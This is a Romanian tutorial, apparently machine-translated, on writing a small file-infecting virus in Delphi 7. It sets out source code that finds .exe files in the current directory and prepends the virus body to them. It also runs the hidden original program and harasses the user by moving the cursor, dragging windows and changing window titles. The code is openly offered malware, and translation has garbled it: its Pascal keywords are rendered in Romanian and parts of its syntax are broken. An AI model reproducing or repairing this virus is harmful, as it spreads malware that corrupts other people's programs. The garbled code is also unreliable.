Cel mai mic virus la DELPHI

Ei bine, am dezvoltat acest mit, de fapt, în ochii publicului uimit va crea dimensiunea virya
23.40 KB, care va fi pe deplin se multiplică și se interferează cu funcționarea sistemului.

Deci, instrumentele noastre:

  • Borland Delphi 7.0 Enterprise Edition
  • packer UPX PE
  • mâini directe 🙂

Pentru a începe pentru a defini ceea ce ne dorim. Si vrem sa cream un virus, pentru aceasta trebuie să cunoaștem principiile de reproducere și de distrugere a victimei. Nu voi intra în terminologia, deoarece pentru mine a fost bine este scris într-una dintre edițiile de „hacker-Spec“. Deci, să trecem la afaceri. Micul nostru animal va reproduce în același director
(Cine are revendicării 3 dintr-un set de instrumente care va completa acest defect, avem, de asemenea, trebuie să facem testul nu clocesc peste un computer Vir)
și se scrie la începutul fișierului. Chiar procesul de lucru teribil de banal:

1. Rulați virusul.
2. Există un control privind lansarea virusului sau corpul programului infectat.
3. Dacă neglijați corpul virusului, apoi se trece la infecție.
4. Am lansat programul infectat, Uraaa! Despachetați prog fișier din coada, cerându-i numele de buldozer și de așteptare atunci când juzverej termina munca ei.
5. In timp ce munca juzverej îl împiedică să putem.
6. calitate slabă utilizatorului PC predat, el a fost obosit de bug-uri și a închis un program, creat de fișierul este suprascris
(Cel care ne-am despachetat) și se continuă infecta
vecinii săi în catalog.
7. Ieșiți din program.

Asta e tot ce virusul meu poate, și acum punerea în aplicare.
Pentru a începe să scrieți scheletul programului:

zverofil programului;
utilizează SysUtils, ferestre;
virsize const = 23040;
victimele var: tsearchrec;
f1, f2: fișier;

Asta în cazul în care vom începe, din păcate, nu am fost în stare să arunce SysUtils. în caz contrar, suma ar uzhalsya până la 13 kb.
Rutina de infecție arată astfel:

Procedura infect (victimă: string);
var
un: întreg;

Buf: array [1..virsize] de octet;
nr, nw: longint;
începe
încerca
randomiza;
assignfile (f1, victimă);
a: = aleator (200);
redenumiți (f1, 'rău' + inttostr (a));
filemode: = 0;
assignfile (f2, paramstr (0));
reset (f2,1);
cauta (f2,0);
blockread (f2, buf, virsize);
filemode: = 2;
closefile (f2);
assignfile (f1, victimă);
rescrie (f1,1);
blockwrite (f1, buf, virsize);
assignfile (f2, 'rău' + inttostr (a));
reset (f2,1);
cauta (f2,0);
repeta
BlockRead (f2, Buf, virsize, NR);
BlockWrite (f1, Buf, NR, NW);
până când (NR = 0) sau (NW <> NR);
closefile (f1);
closefile (f2);
DeleteFile (pchar ( 'rău' + inttostr (a)))
cu excepția
se încheie;
se încheie;

Except`y adăugat motive de securitate, în cazul în care virusul se confruntă cu un fișier fără a da din cap la intrare, este liniștită și pașnică în afara procedurii. În caz contrar, utilizatorul va perturba mesajul „File I / O eroare“. și nu avem nevoie de ea.

În continuare, vom stabili dacă avem o „coadă“, sau un program care rulează - corpul virusului în forma sa pură:

filemode: = 0;
assignfile (f1, paramstr (0));
reset (f1,1);
dacă filesize (f1)> virsize apoi du-te;
closefile (f1);
filemode: = 2;

Filemode a pus temporar programul în ReadOnly, în caz contrar nu se va lăsa să ne conta dimensiunea fișierului și va genera o eroare.

Căutarea și victimele infectante este pus în aplicare după cum urmează:

dacă FindFirst ( '*. exe', Faanyfile, victime) = 0, atunci
repeta
dacă nu ((victims.Name) = extractfilename (paramstr (0))) apoi începe
dacă nu ((victims.Name) = extractfilename (extractfilename (paramstr (0)))) apoi infecta (victims.Name);

se încheie;
până la FindNext (victime)<>0;

Un astfel de cod de ciudat din faptul că fișierul infectat este descompus în „zarazhennyy.ehe“ și „nezarazhennyy.ehe.ehe“ la momentul lansării, astfel încât să nu pentru a încerca să infecteze doar un program de funcționare, care, de asemenea, sa dus la Citește
Numai și trebuie să efectueze un astfel de control.

Ei bine, și executa codul infectat al unui program va fi:

Procedura de du-te;
etichetă 10;
var
Buf: array [1..virsize] de octet;
RECT: trect;
nr, nw: longint;
începe
////
încerca
filemode: = 0;
assignfile (f1, paramstr (0));
reset (f1,1);
filemode: = 2;
assignfile (f2, paramstr (0) + 'exe.');

rescrie (f2,1);
caută (f1, virsize);
cauta (f2,0);
repeta
filemode: = 0;
BlockRead (f1, Buf, virsize, NR);
filemode: = 2;
BlockWrite (f2, Buf, NR, NW);
până când (NR = 0) sau (NW <> NR);
closefile (f1);
closefile (f2);

winexec (pchar (paramstr (0) + '.exe'), SW_show);
10:

dacă nu DeleteFile (pchar (paramstr (0) +) 'exe') apoi începe;
setcursorpos (aleatoare (800), aleatoriu (600));
getwindowrect (GetForeGroundWindow, RECT);
SetWindowPos (GetForeGroundWindow, HWND_TOPMOST, rect.left + 1, rect.top + 1,
rect.left + 45, rect.left + 45, SWP_NOSENDCHANGING);
setwindowtext (GetForeGroundWindow, 'antiviruses SUXX (c) Zerofill!');

somn (400);
goto 10;
se încheie;

Fii atent la ultima secțiune - o bătaie de joc a utilizatorului, care lucrează cu un prog infectat.
Noi doar să ia și trageți mouse-ul, iar fereastra este programul cel mai dorit merge la stânga și în jos. Pentru perversi - puteți schimba somnul setare;

Arată acest articol unui prieten: